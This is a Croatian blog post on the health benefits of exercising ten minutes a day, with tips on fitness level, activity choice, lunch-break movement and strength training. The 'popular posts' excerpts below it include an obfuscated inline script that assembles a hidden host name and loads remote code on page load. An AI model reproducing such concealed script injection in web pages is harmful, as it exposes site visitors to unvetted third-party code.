ŠTO SE DOGAĐA U VAŠEM TIJELU KADA POČNETE VJEŽBATI SAMO 10 MINUTA DNEVNO?





Što se događa u vašem tijelu kada počnete vježbati samo 10 minuta dnevno?




Ako u svoju rutinu dodate samo 10 minuta aktivnosti dnevno, možete pomoći zdravlju svog srca.




Pronađite svoju razinu kondicije

Razina tjelesne spremnosti i sposobnosti nije ista kod svakoga. Ako ste početnik, čak i brzo hodanje može značajno povećati broj otkucaja srca i disanje..



Odaberite aktivnost koja vam odgovara

Ne morate forsirati 10 minuta sprinta ako trčanje nije vaš izbor. Umjesto toga, birajte aktivnosti koje vas vesele i motiviraju. Tako ćete lakše spojiti brigu o kondiciji s užitkom. Koliko je neka aktivnost intenzivna ovisi ponajprije o razini vašeg truda.


 

Iskoristite pauzu za ručak za kretanje

Ako teško pronalazite vrijeme za vježbanje izvan posla, pokušajte odvojiti 10 minuta tijekom pauze za ručak. Čak i kratke aktivnosti mogu imati pozitivan učinak na razinu šećera u krvi.



Uvedite trening snage u rutinu

Iako se preporučuje oko 10 minuta intenzivne aktivnosti dnevno, aerobne vježbe nisu jedini način za očuvanje zdravlja srca.

Trening snage također ima važnu ulogu. Riječ je o vježbama u kojima se mišići aktiviraju protiv određenog otpora, čime se dodatno jača organizam.



Radite onoliko koliko možete, kada možete

Cilj od 10 minuta vježbanja dnevno dobar je početak, ali sasvim je u redu napredovati postupno, malim koracima.

Ako vam je u početku intenzivna aktivnost prezahtjevna, započnite s blažim tempom ili kraćim trajanjem. Već i dodatnih 10 minuta kretanja dnevno može imati pozitivan učinak na zdravlje.

Zaključno, tjelovježba je dobra za zdravlje, a postavljanje cilja od 10 minuta aktivnosti dnevno može vam pomoći da krenete u pravom smjeru. S vremenom ćete sigurno povećavati aktivnost, a vaše zdravlje bit će vam zahvalno.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više